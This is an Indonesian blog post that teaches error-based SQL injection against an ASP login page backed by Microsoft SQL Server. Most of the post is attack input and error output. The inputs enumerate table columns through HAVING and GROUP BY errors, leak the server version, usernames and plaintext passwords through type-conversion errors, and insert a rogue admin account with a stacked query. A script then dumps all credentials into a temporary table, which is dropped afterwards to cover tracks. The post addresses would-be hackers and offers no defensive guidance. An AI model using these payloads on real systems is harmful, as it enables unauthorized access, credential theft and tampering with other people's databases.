Selamat Idul Fitri 1432 H

Mohon Maaf Lahir dan Batin. Selamat Idul Fitri, Kawan...

- YauNi.4ever

Pesan •"̮• ♈ǎυ иȋ •"̮•

Saturday, August 2, 2008

Mencuri Informasi dari Pesan Error

Peta yang digali dari pesan error? Bagi anda yang berpengalaman di dunia hacking, pasti bisa menebak apa yang dimaksud dari pernyataan ini. Tapi jika tidak, jangan bingung, santai aja, sebab pernyataan ini tidak akan ditanyakan dalam test CPNS ataupun UMPTN. Yang penting bagi anda adalah bagaimana memetik logika kerja cara ini.

Peta atau petunjuk yang didapatkan dari pesan error adalah petunjuk yang didapatkan dari hasil evaluasi/pembelajaran kembali dari pesan error yang diberikan (target). Cara ini termasuk dalam variant SQL injection yang sangat menarik dan unik. Dikatakan menarik dan unik, dikarenakan adanya pembelokan makna error yang berubah menjadi sebuah petuah bijak yang seolah berkata “jangan begitu, begini lho yang benar”.

Bagi seorang hacker, sebelum ia mampu mengubah data dalam database target, ia harus mengenali structure dari database itu sendiri. Dan salah satu caranya, dilakukan seperti langkah yang diperkenalkan yaitu dengan memungut satu persatu pesan error dari setiap kesalahan yang dilakukannya.

Contoh, kita berhadapan dengan target yang membangun table user dengan menggunakan perintah berikut:

Create table users( id int, username varchar(255), password varchar(255), privs int)

Dan ikuti dengan memasukkan user dengan perintah:

Insert into users values( 0, admin , r00ttr0x!, 0xffff)

Insert into users values( 0, guest , guest , 0×0000)

Insert into users values( 0, chris , password , 0×00ff)

Insert into users values( 0, fred , sesame , 0×00ff)

Sulit bagi hacker untuk masuk bila ia tidak mengetahui structure dari table user, kecuali jika dia orang yang beruntung. Jika anda orang yang tidak beruntung mari kita hadapi masalah ini bersama. Pertama, lakukan pendekatan guna mengetahui nama dan field dari table target. Untuk itu kita dapat menggunakan statement ‘having’ klausa dari ‘select’.

Username: having 1=1-

Lalu muncul pesan error :

Microsoft OLE DB Provider for ODBC Drivers error 80040e14 [Microsoft][ODBC SQL Server Driver][SQL Server]Column users.id is

Invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/process_login.asp, line 35

Point yang di dapat dari sini adalah ‘user.id’. melanjutkan langkah, gunakan klausa ‘group by’ dari kolom user.id, seperti berikut:

Username: group by user.id having 1=1-

Dan muncul pesan error

Microsoft OLE DB Provider for ODBC Drivers error 80040e14 [Microsoft][ODBC SQL Server Driver][SQL Server]Column users.username is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

/process_login.asp, line 35

Karena pesan error ini terlalu baik dengan menunjukkan statement ‘users.username’ yang berhubungan dengan GROUP BY, maka jangan mengecewakan pesan error tersebut. Masukan semua statement dengan awalan ‘users’ dan dengan diakhiri dengan attribute lain yang sering digunakan oleh database seperti password, username.id dsbnya. Seperti contoh berikut:

Username : group by users.id, users.username, users.password, users.privs having

1=1

Perintah ini sama dengan statement:

Select * from users where username =

Ternyata hasilnya tidak ada pesan error yang ditampilkan. Berarti pesan error tadi tidak berbohong. Sekarang kita tahu bahwa query yang diberkan akan bersumber pada table dengan nama ‘users’ yang digunakan oleh beberapa kolom diantaranya kolom id, username, password,privs’. Untuk mengetahui tipe dari kolom table, bisa menggunakan ‘type convertion’ seperti berikut:

Username: union select sum(username) from users

Dan pesan errornya:

Microsoft OLE DB Provider for ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average

Aggregate operation cannot take a varchar data type as an argument.

/process_login.asp, line 35

Hasil ini menunjukkan bahwa field username memiliki tipe ‘varchar’.

Kita coba lagi dengan :

Username: union select sum(id) from users

Dan muncul error:

Microsoft OLE DB Provider for ODBC Driver error 80040e14 [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL

Statement containing a UNION operator. Must have an equal number of expressions in their target lists.

/process_login.asp, line 35

Tanpa berpikir panjang lagi, kita buat account disini, buat dengan format yang benar sesuai petunjuk yang kita dapat, sebab query ‘insert’ disini telah kita dapatkan, lakukan hal seperti berikut:

Username: ; insert into users values ( 666, attacker , foobar , 0xffff) –

Namun, potensial dari teknik ini hanya sampai disini. Kita bisa mendapatkan keuntungan dari pesan error yang menghubungkan kita pada informasi yang lebih aman. Gambaran dari format string untuk standar pesan error bisa dilakukan dengan menjalankan:

Select * from master..sysmessages

Membahas contoh ini berhubungan dengan beberapa pesan yang menarik. Satu yang special dari keuntungan pesan adalah pengkonversian tipe. Coba dengan mamasukkan inputan seperti dibawah untuk melakukan test terhadap pengkonversian.

Username : union select @ @ version,1,1,1

Microsoft OLE DB Provider for ODBC Drivers error 80040e70 [Microsoft][ODBC SQL Server][SQL Server]Syntax error converting

The nvarchar value Microsoft SQL Server 2000 – 8.00.194 (intel X86) Aug

6 2000 00:57:48 Copyright © 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) to a column of data type int.

/process_login.asp, line 35

Cara ini diambil guna mengkonvert dari ‘@@version’ kedalam bentuk interger sebab kolom pertama dalam table ‘users’ adalah interger.

Cara ini bisa digunakan dalam membaca beberapa nilai dari beberapa level dalam database. Mulai mencari username dan password, dapat kita lakukan dengan membaca username dari table ‘ users’ dengan cara:

Username : union select min (username),1,1,1 from users where username > a

Bentuk diatas dimaksudkan bahwa yang kita lakukan adalah memilih username dengan awal huruf adalah ‘a’ dan mengkonvert dalam bentuk integer.

Microsoft OLE DB Provider for ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value admin to a column of data type int.

/process_login.asp, line 35

Dari aksi diatas kita tahu bahwa account ‘admin’ ternyata eksis. Sekarang kita bisa melakukan iterasi dari table dengan membuat beberapa username baru yang dimasukkan ke dalam klausa ‘where’:

Username : union select min(username),1,1,1 from users where username > admin

Microsoft OLE DB Provider for ODBC Drivers error 80040e07

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

The varchar value chirs to a column of data type int.

/process_login.asp, line 35

Sekali lagi kita telah menemukan username, sekarang kita bisa memulai dengan pencarian password:

Username: union select password,1,1,1 from users where username = admin

Microsoft OLE DB Provider for ODBC Drivers error 80040e70

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

The varchar value r00tr0x! to a column of data type int.

/process_login.asp, line 35

Cara yang lebih elegan adalah dengan mengubah semua username dan password dalam bentuk single string, dan selanjutnya mengkonversikan ke dalam interger. Script berikut akan membelokkan nilai tanpa mengubah maksud:

Begin declare @ret varchar(8000) set @ret=: select @ret=@ret+ +username+ / +password from users where username> @ret select @ret as ret into foo end

Kita login dengan menggunakan ‘username’.

Username: ; begin declare @ret varchar(8000) set @ret=: select @ret=@ret+ +username+ / +password from users where username>@ret

Select @ret as ret into foo end-

Langkah seperti ini akan menghasilkan sebuah table ‘foo’ (table palsu).

Normalnya low-privilage user (user dengan hak terendah) akan diberi hak untuk membuat database sederhana, atau database sementara. Melalui table foo yang kita buat, bisa kita gunakan untuk mengintip user dan password dari table target, caranya:

Username: union select ret,1,1,1 from foo

Microsoft OLE DB Provider for ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

The varchar value :admin/r00tr0x!guest/guest chris/password fred/sesame to a column of data type int.

/process_login.asp, line 35

Kita lihat hasil dari pesan error diatas. Account dan password admin, serta account lain telah berhasil kita dapatkan. Lalu apa step selanjutnya?

Untuk keamanan kita drop (menghapus) table palsu yang kita buat tadi, untuk melakukannya. Caranya:

Username: drop table foo

Contoh diatas adalah beberapa cara pemanfaatan pesan error yang digunakan untuk masuk ke dalam database target, semakin banyak pesan kesalahan yang ditampilkan, maka akan semakin mudah pekerjaannya.

0 comments:

Post a Comment

Silahkan tinggalkan komentar sebagai respon atau untuk bertanya.
Jangan SPAM ya, No SARA, No P0RNo!
Mohon tidak meninggalkan link di dalam comments.
Komentar berisi LINK & tidak sesuai judul akan segera dihapus!

Twitter Delicious Facebook Digg Stumbleupon Favorites More

 
Template by Premium Blogger Themes | Modified and Enhanced by YauNi
Related Posts Plugin for WordPress, Blogger...